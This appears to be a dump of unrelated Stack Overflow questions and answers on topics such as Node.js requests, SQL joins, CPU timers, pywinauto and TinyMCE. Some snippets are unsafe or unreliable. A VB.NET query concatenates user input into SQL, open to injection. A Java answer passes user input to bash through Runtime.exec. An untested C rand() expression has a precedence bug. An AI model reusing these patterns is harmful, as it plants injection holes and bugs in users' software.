9111719	0	Word Art effect in Flash Design Studio using ActionScript <p>How can I develope word Art effect functinality for run time added test (Like Blue Cotton)? Please see the given below example <a href="http://www.bluecotton.com/studio.html" rel="nofollow">Click Here For Example</a></p> <ol> <li>click on the example link</li> <li>After loading add the Text on T-shirt</li> <li>Write Some Text in side teh added teztfield and make it done. </li> <li>you will find out the Text Effect Popup window in the application</li> <li>click on the Shape, new popup window will come out and it will contain some Word Art effect options,</li> <li>Please select and check the output.</li> </ol> <p>I want to this type effect all / some of them.</p> <p>Can you help me to get it done?</p>
10649994	0	 <p>Tricky but possible for DLL's. Your DLL should implement <code>wrap_symbol</code> and link with a <code>.DEF</code> file which renames it to <code>symbol</code>. You can call the original function from within your DLL as just <code>symbol()</code>, as the renaming of <code>wrap_symbol</code> happens later.</p>
37532995	0	 <p>Sounds like you might want to just partake in the routing lifecycle</p> <p>If you are navigating to a module you can create an <code>activate</code> method on the view model which will be called when routing starts.</p> <p>In this method you can return a promise (while you fetch data) and redirect if the fetch fails</p> <p>In fact if the promise is rejected, the routing will be cancelled</p> <p>If successful you can use whatever method you need to load in your module (assuming it can't just be part of the module that is being loaded since routing won't be cancelled)</p> <p>Something like</p> <pre><code>activate(args, config) { this.http.get(URL).then(resp =&gt; { if (resp.isOk) { // Do stuff } else { // Redirect } }); } </code></pre>
13718438	0	 <p>Some people might suggest a (jQuery) function that creates a temporary <code>div</code>, places the text in there, then gets the content of the <code>div</code>, to decode the string.</p> <p>Although the implementation of it is simple, it is rather unsafe, since you'd pretty much be asking for users to put all kinds of html tags in the string.</p> <p><a href="http://phpjs.org/functions/html_entity_decode/" rel="nofollow">I'd suggest using these functions</a><br> (<a href="http://phpjs.org/functions/get_html_translation_table/" rel="nofollow">Requires a second function</a>)</p> <p>These are safer than the <code>div</code> alternative.</p>
8262410	0	How to set Content-Length when sending POST request in NodeJS? <pre><code>var https = require('https'); var p = '/api/username/FA/AA?ZOHO_ACTION=EXPORT&amp;ZOHO_OUTPUT_FORMAT=JSON&amp;ZOHO_ERROR_FORMAT=JSON&amp;ZOHO_API_KEY=dummy1234&amp;ticket=dummy9876&amp;ZOHO_API_VERSION=1.0'; var https = require('https'); var options = { host: 'reportsapi.zoho.com', port: 443, path: p, method: 'POST' }; var req = https.request(options, function(res) { console.log("statusCode: ", res.statusCode); console.log("headers: ", res.headers); res.on('data', function(d) { process.stdout.write(d); }); }); req.end(); req.on('error', function(e) { console.error(e); }); </code></pre> <p>When i run the above code i am getting below error. </p> <p><strong>error message:</strong> </p> <pre><code>statusCode: 411 headers: { 'content-type': 'text/html', 'content-length': '357', connection: 'close', date: 'Thu, 24 Nov 2011 19:58:51 GMT', server: 'ZGS', 'strict-transport-security': 'max-age=604800' } "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; 411 - Length Required </code></pre> <p>How to fix the abobe error?<br> I have tried doing below </p> <pre><code>var qs = 'ZOHO_ACTION=EXPORT&amp;ZOHO_OUTPUT_FORMAT=JSON&amp;ZOHO_ERROR_FORMAT=JSON&amp;ZOHO_API_KEY=dummy1234&amp;ticket=dummy9876&amp;ZOHO_API_VERSION=1.0'; ' options.headers = {'Content-Length': qs.length} </code></pre> <p>But if I try this way I am getting below error: </p> <pre><code>{ stack: [Getter/Setter], arguments: undefined, type: undefined, message: 'socket hang up' } </code></pre> <p>Can anybody help me on this? </p> <p>Thanks<br> koti </p> <p>PS:If I enter the whole url into browser address bar and hit enter I am getting JSON response as expected. </p>
481149	0	 <p>Check whether your STL map is empty() before doing a find(). Some STL implementations are buggy when executing a find() on an empty STL map.</p>
38451749	0	 <p>I would use GCD for this purpose, please refer to this tutorial or to apple documentation : <a href="https://www.raywenderlich.com/60749/grand-central-dispatch-in-depth-part-1" rel="nofollow">https://www.raywenderlich.com/60749/grand-central-dispatch-in-depth-part-1</a></p> <p>This would optimize the number of threads according to the device capabilibilities and eliminate unnecessary thread allocations. You would need Concurrent queue. The simplest(not the most optimized way) is: </p> <pre><code> dispatch_async(dispatch_get_global_queue( DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ // do your task here }); </code></pre> <p>For more information check the previously mentioned article.</p>
2168309	0	 <p>You can also check if the device can invoke the SMS app with</p> <pre><code>[[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:stringURL]] </code></pre>
29046415	0	 <p>Currently your query is returning 4 rows:</p> <pre><code>[ { name: 'john', baggageno: 5, destination: 'toronto', 'max(ts)': 'Sat Mar 14 2015 02:25:03 GMT-0400' }, { name: 'jill', baggageno: 1, destination: 'karachi', 'max(ts)': 'Sat Mar 14 2015 02:25:03 GMT-0400' }, { name: 'jane', baggageno: 2, destination: 'new york', 'max(ts)': 'Sat Mar 14 2015 02:25:03 GMT-0400' }, { name: 'jim', baggageno: 5, destination: 'glasgow', 'max(ts)': 'Sat Mar 14 2015 02:25:03 GMT-0400' }, ] </code></pre> <p>and you're picking the first row out of that result set, so that is why you're seeing what you're seeing (although the ordering of the rows is up to the server because you did not request a specific ordering).</p> <p>You need to add some kind of filter if you're trying to find the record(s) with the latest <code>ts</code> value. For example, using a join might look something like:</p> <pre class="lang-sql prettyprint-override"><code>SELECT map.* FROM map LEFT JOIN map map2 ON map.name = map2.name AND map.baggageno = map2.baggageno AND map.destination = map2.destination AND map.ts &lt; map2.ts WHERE map2.name IS NULL </code></pre> <p>You can also do something similar except using an inner join, if you want to do it that way.</p>
1145668	0	 <p>Make sure that your self-signed certificate matches your site URL. If it does not, you will continue to get a certificate error even after explicitly trusting the certificate in Internet Explorer 8 (I don't have Internet Explorer 7, but Firefox will trust the certificate regardless of a URL mismatch).</p> <p>If this is the problem, the red "Certificate Error" box in Internet Explorer 8 will show "Mismatched Address" as the error after you add your certificate. Also, "View Certificates" has an <strong>Issued to:</strong> label which shows what URL the certificate is valid against.</p>
10495410	0	Drupal : How to remove the <p> and <br> tag from content when using syntaxhighlighter <p><strong>Used Version 7.14</strong></p> <p>I am using <a href="http://drupal.org/project/syntaxhighlighter" rel="nofollow noreferrer">syntaxhighlighter</a> for my website. But when I insert some code samples it always producing output with more <p> and <br> also content in single line as well .</p> <p>I am done just copy paste the code from zend studio editor inside the syntaxhighlighter tag</p> <p>I've searched over many forums and druapl site itself, but nothing works for me. Please advise me on this</p> <p>See the picture below for more</p> <p><img src="https://i.stack.imgur.com/YCxz9.jpg" alt="enter image description here"></p>
34057137	0	How to program a game loop with pausing? <p>To begin with I'm programming a simple Snake recreation in Java and I need your advice on how to go about gameloop/pausing in the game. Right now the game is fully working but I've used a Timer class in my code and I'm not sure if it's the right way. My questions are what is the best way to code game loop and pausing the game, and how to go about speeding up the snake (I want to have 4 different levels) ? I attach my current "gameloop".</p> <p>Here's an initialization of timer:</p> <pre><code> level = model.getLevelTime(); gameTimer = new Timer(level,this); gameTimer.start(); </code></pre> <p>Here's a loop.</p> <pre><code>public void actionPerformed(ActionEvent event) { gameLoop(); } public void gameLoop() { view.passArrays(model.snake.getPosX(), model.snake.getPosY()); view.snakePanel.updateMoveDirection(model.snake.getUp(), model.snake.getDown(), model.snake.getRight(), model.snake.getLeft()); if(model.snake.getGrown()) model.snake.addBodyPart(); model.snake.moveSnake(); model.fruit.checkIfEaten(model.snake.getXPos(), model.snake.getYPos()); view.passApplePos(model.fruit.getAppleXPos(), model.fruit.getAppleYPos()); view.snakePanel.setScore(model.getScore()); refresh(); checkGameOver(); defineActions(); } </code></pre>
14738538	0	One-line copy command when source and dest path are the same <p>I want to backup a file in some-other sub-directory different from my current directory like this:</p> <pre><code>cp /aaa/bbb/ccc/ddd/eeee/file.sh /aaa/bbb/ccc/ddd/eeee/file.sh.old </code></pre> <p>As you see both source and dest dir are the same, so common convention would be to change to the common directory, perform the copy im <code>./</code>, then change back to the original directory.</p> <p>Is there a single-line command to accomplish the copy in this situation?</p>
8414764	0	 <p>Under Windows 7 on present generation processors, this is a reliable high precision (nanosecond) timer inside the CPU (HPET).</p> <p>Under previous versions and on previous generations of processors, it is "something", which can mean pretty much <em>anything</em>. Most commonly, it is the value returned by the RDTSC instruction (or an equivalent, on non-x86), which may or may not be reliable and clock-independent. Note that RDTSC (originally, by definition, but not any more now) does not measure <em>time</em>, it measures <em>cycles</em>.</p> <p>On current-and-previous-generation CPUs, RDTSC is usually reliable and clock-independent (i.e. it is now <em>really</em> measuring time), on <em>pre</em>-previous generation, especially on mobile or some multi-cpu rigs it is not. The "timer" may accelerate and decelerate, and even be different on different CPUs, causing "time travel".</p> <p><strong>Edit:</strong> The <code>constant tsc</code> flag in cpuid(0x80000007) can be used to tell whether RDTSC is reliable or not (though this does not really solve the problem, because what to do if it isn't, if there is no alternative...).</p> <p>On yet older systems (like, 8-10 years old), some other timers may be used for QueryPerformanceCounter. Those may neither have high resolution at all, nor be terribly accurate.</p>
686474	0	 <p>On some systems (Windows with VC springs to mind, currently), <code>RAND_MAX</code> is ridiculously small, i. e. only 15 bit. When dividing by <code>RAND_MAX</code> you are only generating a mantissa of 15 bit instead of the 23 possible bits. This may or may not be a problem for you, but you're missing out some values in that case.</p> <p>Oh, just noticed that there was already a comment for that problem. Anyway, here's some code that might solve this for you:</p> <pre><code>float r = (float)((rand() &lt;&lt; 15 + rand()) &amp; ((1 &lt;&lt; 24) - 1)) / (1 &lt;&lt; 24); </code></pre> <p>Untested, but might work :-)</p>
13746855	0	 <p>In the apps I work on we have a array of all items and a copy which is the one the datasource refers to. When a filter is applied it replaces the copy but is based on the original array. So I guess #2.</p>
15007277	0	IE10 rendering artifacts <p>I'm testing <a href="http://www.raditaz.com" rel="nofollow noreferrer">my website</a> in IE10 on Windows 8 and I keep getting a bunch of rendering artifacts around or above certain elements. Here's a screenshot (note the black bar):</p> <p><img src="https://i.stack.imgur.com/5ZxHv.png" alt="enter image description here"></p> <p>The artifacts appear inconsistently – they'll flicker on and off as I interact with the page – but always in the same places, across refreshes.</p> <p>I'm running Windows 8 in Parallels on a Mac, so my initial hunch was that it was a video card driver issue, but no other browser in Windows 8 exhibits these artifacts. Wouldn't a driver issue affect all browsers the same way?</p>
21756156	0	 <p>Old question, but I found that the existing answers do not completely convert the text to plain. They seem to set the font to Helvetica and the size to 12.</p> <p>However, you can pipe <a href="https://developer.apple.com/library/mac/documentation/darwin/reference/manpages/man1/pbcopy.1.html" rel="nofollow">pbcopy and pbpaste</a> to really remove formatting.</p> <p>In the Terminal:</p> <pre><code>$ pbpaste | pbcopy </code></pre> <p>As an AppleScript:</p> <pre><code>do shell script "pbpaste | pbcopy" </code></pre> <p>That's it.</p>
18231867	0	 <p>No, CDH4 is not meant mainly for YARN. CDH5, on the other hand, will be.</p> <p>I'm not sure how you went about setting up your CDH cluster, but it's rather easy to add the MapReducev1 service, as opposed to YARN, using Cloudera Manager.</p> <p>Very few companies use YARN in production, Yahoo being the most notable.</p> <p>CDH4 is not YARN-centric. Cloudera includes YARN so people can have the most recent Hadoop bits accessible to them - but it's very clear on Cloudera's website that they do not recommend YARN for production.</p> <p>One of the big things that CDH4 brought to the table last year was HDFSv2, and they made MRv1 compatible with it.</p> <p>To install CDH4 with MRv1, see <a href="http://www.cloudera.com/content/cloudera-content/cloudera-docs/CDH4/4.2.0/CDH4-Installation-Guide/cdh4ig_topic_11_3.html?scroll=topic_11_3" rel="nofollow">here</a>.</p>
39690045	0	 <p>I assume that you're using the <a href="http://wso2.com/library/tutorials/develop-osgi-bundles-using-maven-bundle-plugin" rel="nofollow">maven-bundle-plugin</a> to build the bundle. If so, in your extension project pom file, recheck maven-bundle-plugin configurations. </p> <p>Check whether the <code>Bundle-SymbolicName</code> has being provided to the plugin. You may refer to <a href="https://github.com/wso2-extensions/siddhi-window-unique-time/blob/master/pom.xml#L64" rel="nofollow">this example of another extension, being written to Siddhi</a>.</p> <p><a href="https://github.com/wso2/carbon-kernel/blob/v4.4.3/core/org.wso2.carbon.server/src/main/java/org/wso2/carbon/server/extensions/DropinsBundleDeployer.java#L107" rel="nofollow">According to the source code</a> (the source of Carbon 4.4.3 DropinsBundleDeployer which deploys the bundles we put into the dropins folder), this error could occur:</p> <ol> <li>when the <code>Bundle-SymbolicName</code> has not being given or </li> <li>when the <code>Bundle-Version</code> has not being given.</li> </ol> <p>So in case, putting the <code>Bundle-SymbolicName</code> in to the config didn't make a difference, I would try adding the <code>Bundle-Version</code> as well. You can find a sample config in this <a href="http://wso2.com/library/tutorials/develop-osgi-bundles-using-maven-bundle-plugin" rel="nofollow">maven-bundle-plugin tutorial</a>.</p>
19828552	0	 <p>Try (untested):</p> <pre><code>$duration = preg_replace("#duration\s*:\s*(\d{2}:\d{2}:\d{2}.\d+)#i", "$1", $input) $datasize = preg_replace("#datasize\s*:\s*(\d+)#i" , "$1", $input) $audiobitrate = preg_replace("#audio\s*:.*,\s*(\d+)\s*kb/s#i" , "$1", $input) </code></pre> <p>The same thing I did with "datasize" should work for every information you'd like to get, despite the ones having a different format (like duration and the stream info with the audio bitrate inside)</p>
6914031	0	 <p>If you look at the contents of <code>Cygwin.bat</code>, you'll see it calls the <code>bash.exe</code> binary:</p> <pre><code>@echo off C: chdir C:\cygwin\bin bash --login -i </code></pre> <p>Command binaries usually have a <code>help</code> argument. In this case, bash most certainly does:</p> <pre><code>bash --help GNU bash, version 3.2.49(23)-release-(i686-pc-cygwin) Usage: bash [GNU long option] [option] ... bash [GNU long option] [option] script-file ... GNU long options: --debug --debugger --dump-po-strings --dump-strings --help --init-file --login --noediting --noprofile --norc --posix --protected --rcfile --restricted --verbose --version --wordexp Shell options: -irsD or -c command or -O shopt_option (invocation only) -abefhkmnptuvxBCHP or -o option Type `bash -c "help set"' for more information about shell options. Type `bash -c help' for more information about shell builtin commands. Use the `bashbug' command to report bugs. </code></pre> <p>Now that we know what options it takes, your Java application can call bash directly:</p> <pre><code>String commandString = "help"; Runtime rt = Runtime.getRuntime(); Process pr = rt.exec("C:\\cygwin\\bin\\bash -c " + commandString); </code></pre> <p>Remember to replace <code>commandString</code> with the value from your Swing component.</p>
5701333	0	 <p>As your error log shows "open_basedir restriction in effect." you can't really include anything outside from your basedir or outside from webroot in this server without changing the php configuration open_basedir variable</p>
36586678	0	How do i open a ,exe on chrome box <p>How do I open a .exe on chrome box? I tried to use Google OAuth. program but it doesn't seem to do anything . I'm trying to run a recording of a class on Wiziq. Please help! Thanks!</p>
23387413	0	pywinauto batch file running error <p>Im a biologist and new to pywinauto, i wrote a code to open an input file in HYPHY application using pywinauto, when i run my code line by line in command line it works fine but when i run the code as a batch file it gives the following error.</p> <pre><code>Traceback (most recent call last): File "C:\Users\Masyh\Desktop\autowin_test.py", line 8, in &lt;module&gt; w_handle = pywinauto.findwindows.find_windows(title=u' Please select a batch file to run:', class_name='#32770')[0] IndexError: list index out of range </code></pre> <p>the code is:</p> <pre><code>import pywinauto pwa_app = pywinauto.application.Application() w_handle = pywinauto.findwindows.find_windows(title=u'HYPHY Console', class_name='HYPHY')[0] window = pwa_app.window_(handle=w_handle) window.SetFocus() window.MenuItem(u'&amp;File-&gt;&amp;Open-&gt;Open &amp;Batch File\tCtrl+O').Click() w_handle = pywinauto.findwindows.find_windows(title=u' Please select a batch file to run:', class_name='#32770')[0] window = pwa_app.window_(handle=w_handle) window.SetFocus() ctrl = window['Edit'] ctrl.Click() ctrl.TypeKeys('brown.nuc') ctrl=window['&amp;open'] ctrl.Click() </code></pre> <p>i guess the problem is that the window which gets the input(#'please select a batch file menue') is not open at the beginning and the first part of the code opens it but python looks for it from the beginning and cant find it. i really appreciate any suggestions how to solve this.</p>
2137251	0	 <p>Since you are using a Mac, I assume you have Ruby installed.</p> <p>What you are talking about sounds like you want a thread to sleep for 30 seconds and then execute a script in the background.</p> <p>You should put <code>… do some stuff</code> in a script named dostuff.scpt and place it in your Desktop.</p> <p>Then change your current script to the following code:</p> <pre><code>using terms from application "iChat" on logout finished do shell script "ruby -e 'Thread.new {`sleep 30 &amp;&amp; osascript ~/Desktop/dostuff.scpt`}' &amp;&gt; /dev/null" end logout finished end using terms from </code></pre> <p>A code breakdown: do shell script (executes something from the command line)</p> <p>ruby -e (executes ruby code from the command line)</p> <p>Thread.new (makes a new thread to hide in the background)</p> <p>` (Everything in the backtick is a shell command in ruby)</p> <p>osascript (Executes an applescript from the command line)</p> <p>~/Desktop/dostuff.scpt (Points the pathname to your file, the tilde substitutes to your home directory, and I assume you put dostuff.scpt on the Desktop)</p> <p>&amp;> /dev/null (<a href="http://developer.apple.com/mac/library/technotes/tn2002/tn2065.html" rel="nofollow noreferrer">Tells Applescript to not look for output and immediately go to the next code line</a>)</p> <p>I tried doing this without Ruby, however, I had no luck. Let me know if this works for you!</p>
246980	0	 <p>The counter i optimized works like this:</p> <pre><code>UPDATE page_views SET counter = counter + 1 WHERE page_id = x if (affected_rows == 0 ) { INSERT INTO page_views (page_id, counter) VALUES (x, 1) } </code></pre> <p>This way you run 2 query for the first view, the other views require only 1 query.</p>
36562428	0	Extract Skin pixels in face using scale space filtering method <p>I'm trying to implement color constancy method in this paper.'<a href="http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6701394" rel="nofollow">http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6701394</a>'. In this paper , the skin pixels are detected using scale space filtering method. I'm unable to go forward after forming a scale space image for the histogram of skin pixels extracted from face regions. please help me out. thanks in advance.</p> <pre><code>close all; clear all; clc; a = imread('Input.jpg'); %subplot(2,2,1); imshow(a); [row col dim] = size(a); hsv = rgb2hsv(a); % convert rgb to hsv h = hsv(:,:,1); h=h(:); s = hsv(:,:,2); v = hsv(:,:,3); [Hi,x]=hist(h,200); % forming an histogram with 200 bins plot(x,Hi); N=sum(Hi); Hist=Hi./N; % Normalize the histogram P=[]; figure;plot(Hist); sigma=2:2:50; % range of sigma values taken for forming scale space count=length(sigma); for i=1:count f1 = normpdf(-20:20,0,sigma(i)); % &lt;== f(x) gaussian distribution p1 = conv(Hist,f1,'same'); P=[P; p1]; subplot(count,1,i); plot(p1);%title('smoothed signal with sigma='num2str(sigma)); end % Here P is tha scale space image mask=[1 -2 1]; for j=1:count P_derv(j,:)=conv(P(j,:),mask,'same'); %figure; subplot(count,1,j); end %P_derv is the 2nd derivative of the scale space image. </code></pre> <p>Now , I have to found the zero contour and interval tree to identify the peak in histogram. The scale space filtering method is found in this paper. <a href="http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=1172729" rel="nofollow">http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=1172729</a></p>
19454546	0	Setup TinyMce editor in C# MVC 4 - Visual Studio 2012 <p>Always get this error:</p> <p>get: 0x800a01b6 - JavaScript runtime error: Object doesn't support property or method 'tinymce'</p> <p>By Nuget: PM> Install-Package TinyMCE.MVC.JQuery newest version</p> <p>Model Class:</p> <pre><code>using System.Web.Mvc; using System.ComponentModel.DataAnnotations; namespace Familytree.Models { public class TinyMCEModelJQuery { [AllowHtml] [UIHint("tinymce_jquery_full")] public string Content { get; set; } } } </code></pre> <p>Controller:</p> <pre><code>using System.Web.Mvc; namespace Familytree.Controllers { public class TinyMCESampleJQueryController : Controller { // // GET: /TinyMCESampleJQuery/ [ValidateInput(false)] public ActionResult Index() { return View(); } } } </code></pre> <p>View:</p> <pre><code> @model Familytree.Models.TinyMCEModelJQuery &lt;h2&gt;Index&lt;/h2&gt; @using (Html.BeginForm()) { &lt;fieldset&gt; &lt;legend&gt;TinyMCEModel&lt;/legend&gt; &lt;div class="editor-label"&gt; @Html.LabelFor(model =&gt; model.Content) &lt;/div&gt; &lt;div class="editor-field"&gt; @Html.EditorFor(model =&gt; model.Content) @Html.ValidationMessageFor(model =&gt; model.Content) &lt;/div&gt; &lt;p&gt; &lt;input type="submit" value="Create" /&gt; &lt;/p&gt; &lt;/fieldset&gt; } </code></pre> <p>tinymce_jquery_full under Shared folder and Editor Template</p> <p>@* Don't forget to reference the JQuery Library here, inside your view or layout.</p> <p>*@</p> (function(){ $(function() { $('#@ViewData.TemplateInfo.GetFullHtmlFieldName(string.Empty)').tinymce({ // Location of TinyMCE script script_url: '@Url.Content("~/Scripts/tinymce/tiny_mce.js")', theme: "advanced", height: "500", width: "790", verify_html : false, plugins : "pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,wordcount,advlist,autosave", // Theme options theme_advanced_buttons1 : "save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,styleselect,formatselect,fontselect,fontsizeselect", theme_advanced_buttons2 : "cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor", theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen", theme_advanced_buttons4 : "insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak,restoredraft,codehighlighting,netadvimage", theme_advanced_toolbar_location : "top", theme_advanced_toolbar_align : "left", theme_advanced_statusbar_location : "bottom", theme_advanced_resizing : false, // Example content CSS (should be your site CSS) content_css : "@Url.Content("~/Scripts/tinymce/css/content.css")", convert_urls : false, // Drop lists for link/image/media/template dialogs template_external_list_url : "lists/template_list.js", external_link_list_url : "lists/link_list.js", external_image_list_url : "lists/image_list.js", media_external_list_url : "lists/media_list.js" }); }); })(); <p>@Html.TextArea(string.Empty, /* Name suffix <em>/ ViewData.TemplateInfo.FormattedModelValue /</em> Initial value */ )</p> <p>Do I change this last line to @Html.EditorFor(string.Empty, /* Name suffix <em>/ ViewData.TemplateInfo.FormattedModelValue /</em> Initial value */ ) Using EditorFor in the Index view</p>
5438192	0	Problems connecting to database in VB.NET <pre><code>Dim con As New System.Data.SqlClient.SqlConnection con.ConnectionString = "Server=iraq\\sqlexpress ; Database=stats ; Trusted_Connection=True ;" Dim com As New System.Data.SqlClient.SqlCommand com.CommandText = "insert into users values('" &amp; TextBox1.Text &amp; "','" &amp; TextBox2.Text &amp; "','" &amp; TextBox3.Text &amp; "')" com.Connection = con con.Open() com.ExecuteNonQuery() con.Close () </code></pre> <p>There are new events happen when i adjust the connection string</p> <pre><code>con.ConnectionString = "Data Source=.\SQLEXPRESS;AttachDbFilename=C:\Documents and Settings\Administrator\My Documents\Visual Studio 2005\WebSites\WebSite2\App_Data\stats.mdf;Integrated Security=True;User Instance=True" </code></pre> <p>show me error with com.ExecuteNonQuery() </p> <p>any suggestion ? </p>
7482647	0	 <p>Try using the CURLOPT_RETURNTRANSFER option:</p> <pre><code> $ch = curl_init(); $url = complete url of get request that works when directly placed into adress bar curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $data = curl_exec ($ch); curl_close ($ch); echo $data; </code></pre>
8021261	0	jQuery 1.7 is *still* returning the event.layerX and event.layerY error in Chrome <p>What am I doing wrong? Am I misunderstanding the problem or is it something else entirely?</p> <p>On my page I was using jQuery 1.6.4 from the Google CDN. This would, of course, generate the error:</p> <blockquote> <p>event.layerX and event.layerY are broken and deprecated in WebKit. They will be removed from the engine in the near future.</p> </blockquote> <p><a href="http://blog.jquery.com/2011/11/03/jquery-1-7-released/" rel="nofollow">I read here</a> that jQuery 1.7 removed this issue. However, after updating my application to 1.7, I'm still seeing it. I'm using the Microsoft CDN until Google put the link up.</p> <p>Things I've tried before posting this:</p> <ul> <li>Clearing the browser cache</li> <li>Changing back to jQuery 1.6.4 (still happens - obviously)</li> <li>Using jQuery 1.7-specific code to make sure 1.7 is actually being loaded - <code>.on()</code> works fine when I use 1.7 but obviously gives undefined errors with 1.6.4 - I thought this should prove 1.7 is actually running</li> <li>Commenting out and removing all other Javascript from my application - everything except for jQuery 1.7. Still triggers the error.</li> </ul> <p>Any ideas?</p>
18342185	0	 <p>Pass by reference:</p> <pre><code>foreach ($posts as $post =&gt; &amp; $content) { $find = array('~\[image="(https?://.*?\.(?:jpg|jpeg|gif|png|bmp))"\](.*?)\[/image\]~s'); $replace = array('&lt;img src="$1" alt="" /&gt;&lt;p&gt;$2&lt;/p&gt;'); $content = preg_replace($find, $replace, $content); } </code></pre>
40120468	0	Graph 2 files using gnuplot <p>I am trying to create a graph on gnuplot for 2 different files. When I run the script I get the graph just for the first file: In this case "graph1.dat". At this point I try with plot and replot but I have tried some solutions but they did not work.</p> <p>For example:</p> <p>plot "./plot/graf-1.dat" using 1:2 with linespoint title "graph1" , "./plot/graf-2.dat" using 1:2 with lines title "graph2".</p> <p>Both files are in the folder ./plot.</p> <p>The files have the information like the following:</p> <p>012016 14498 </p> <p>022016 7135 </p> <p>032016 10500 </p> <p>042016 16695 </p> <p>052016 16245 </p> <p>062016 13416 </p> <p>This is the script I used:</p> <pre><code> set xdata time set timefmt '%m' set xrange ["012016" : "062016" ] set format x '%m' set terminal png set title "graph1 and graph2 2016" set ylabel "Values" set output 'graf.png' plot "./plot/graf-1.dat" using 1:2 with linespoint title "graph1" replot "./plot/graf-2.dat" using 1:2 with lines title "graph2" </code></pre> <p>Any help is very appreciated.</p>
26050930	0	 <p>Let's define a term: <code>operation = command or query</code> from a domain perspective, for example <code>ChangeTaskDueDate(int taskId, DateTime date)</code> is an operation.</p> <p>By REST you can map operations to resource and method pairs. So calling an operation means applying a method on a resource. The resources are identified by URIs and are described by nouns, like task or date, etc... The methods are defined in the HTTP standard and are verbs, like get, post, put, etc... The URI structure does not really mean anything to a REST client, since the client is concerned with machine readable stuff, but for developers it makes easier to implement the router, the link generation, and you can use it to verify whether you bound URIs to resources and not to operations like RPC does.<br> So by our current example <code>ChangeTaskDueDate(int taskId, DateTime date)</code> the verb will be <code>change</code> and the nouns are <code>task, due-date</code>. So you can use the following solutions:</p> <ul> <li><code>PUT /api{/tasks,id}/due-date "2014-12-20 00:00:00"</code> or you can use </li> <li><code>PATCH /api{/tasks,id} {"dueDate": "2014-12-20 00:00:00"}</code>. </li> </ul> <p>the difference that patch is for partial updates and it is not necessary idempotent.</p> <p>Now this was a very easy example, because it is plain CRUD. By non CRUD operations you have to find the proper verb and probably define a new resource. This is why you can map resources to entities only by CRUD operations.</p> <blockquote> <p>Going back to the REST Service, the way I see it there are 3 options:</p> <ol> <li>Make RPC style urls e.g. <a href="http://example.com/api/tasks/" rel="nofollow">http://example.com/api/tasks/</a>{taskid}/changeduedate</li> <li>Allow for many commands to be sent to a single endpoint e.g.: <ul> <li>URL: <a href="http://example.com/api/tasks/" rel="nofollow">http://example.com/api/tasks/</a>{taskid}/commands</li> <li>This will accept a list of commands so I could send the following in the same request: <ul> <li>ChangeDueDate command</li> <li>ChangeDescription command</li> </ul></li> </ul></li> <li>Make a truly restful verb available and I create domain logic to extract changes from a dto and in turn translate into the relevant events required e.g.: <ul> <li>URL: <a href="http://example.com/api/tasks/" rel="nofollow">http://example.com/api/tasks/</a>{taskid}</li> <li>I would use the PUT verb to send a DTO representation of a task</li> <li>Once received I may give the DTO to the actual Task Domain Object through a method maybe called, UpdateStateFromDto</li> <li>This would then analyse the dto and compare the matching properties to its fields to find differences and could have the relevant event which needs to be fired when it finds a difference with a particular property is found.</li> </ul></li> </ol> </blockquote> <ol> <li><p>The URI structure does not mean anything. We can talk about semantics, but REST is very different from RPC. <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm" rel="nofollow">It has some very specific constraints, which you have to read before doing anything.</a></p></li> <li><p>This has the same problem as your first answer. You have to map operations to HTTP methods and URIs. They cannot travel in the message body.</p></li> <li><p>This is a good beginning, but you don't want to apply REST operations on your entities directly. You need an interface to decouple the domain logic from the REST service. That interface can consist of commands and queries. So REST requests can be transformed into those commands and queries which can be handled by the domain logic.</p></li> </ol>
35132866	0	How to configure VNC to view xvfb? <p>How do I configure my VNC server and viewer to remotely view an xvfb (X virtual frame buffer) on a Linux machine?</p>
32270495	0	How to ignore properties with empty values during deserialization from JSON <p>I'm trying to deserialize a JSON string into a ConcurrentHashMap object and I'm getting errors because my JSON contains properties with null values, but ConcurrentHashMap does not accept null values. Here is the fragment of code: </p> <pre><code>ObjectMapper mapper = new ObjectMapper(); return mapper.readValue(jsonString, ConcurrentHashMap.class); </code></pre> <p>Is there a way to ignore properties with null values during deserialization? I know that we can ignore these properties during serialization:</p> <pre><code>mapper.setSerializationInclusion(JsonInclude.NON_NULL); </code></pre> <p>But what about deserialization process?</p>
22081203	0	 <p>I suppose you are encountering what is called platform default encoding. For example, when converting bytes into String using new String(byte[]), the default encoding is used to convert bytes to String. Different servers may have different setup that have a different default platform encoding.</p> <p>To prevent different behaviour of the servers due to different default encoding, specify the encoding to use when converting bytes[] to String. If you don't know the encoding to use, that is another matter but at least you get consistent results for the same byte stream.</p> <p>For example, to convert String to UTF-8 byte stream use getBytes("UTF-8") and to get back the String, use String(byte[],"UTF-8");</p>
9059382	0	 <p>TOAD does it in my case. I am using advantage 8.1 so TOAD will support it. </p>
1853306	0	 <p>Could you use a <a href="http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.hyperlink.aspx" rel="nofollow noreferrer">HyperLink</a> control rather than a LinkButton?</p> <p>eg</p> <pre><code>&lt;asp:HyperLink id="hyperlink1" NavigateUrl="&lt;%#Eval('name')%&gt;" Text="&lt;%#Eval('name')%&gt;" Target="_blank" runat="server"/&gt; </code></pre>
